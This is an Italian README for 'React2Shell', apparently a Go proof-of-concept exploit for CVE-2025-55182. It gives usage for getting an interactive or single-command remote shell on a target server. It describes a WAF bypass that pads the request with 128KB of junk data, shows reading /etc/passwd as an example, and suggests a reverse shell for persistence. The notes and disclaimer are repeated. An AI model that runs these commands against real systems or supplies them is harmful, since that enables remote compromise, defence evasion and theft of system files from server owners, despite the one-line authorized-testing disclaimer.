React2Shell

CVE-2025-55182 PoC

Uso

# Interactive shell
./react2shell -u http://target:3000

# Single command
./react2shell -u http://target:3000 -c "id"

# WAF bypass (128KB junk data)
./react2shell -u http://target:3000 -waf 128

Compilazione

go build -o react2shell .

Opzioni

Note

• Ogni comando viene eseguito in una nuova sessione shell
• Usa ; o && per concatenare i comandi: cd /etc && cat passwd
• Il bypass WAF aggiunge dati spazzatura prima del payload per evitare l'ispezione del contenuto

Dichiarazione di non responsabilità

Solo per test di sicurezza autorizzati.

• Usa ; o && per concatenare i comandi: cd /etc && cat passwd
• Per una shell persistente, usa una reverse shell

Dichiarazione di non responsabilità

Solo per test di sicurezza autorizzati.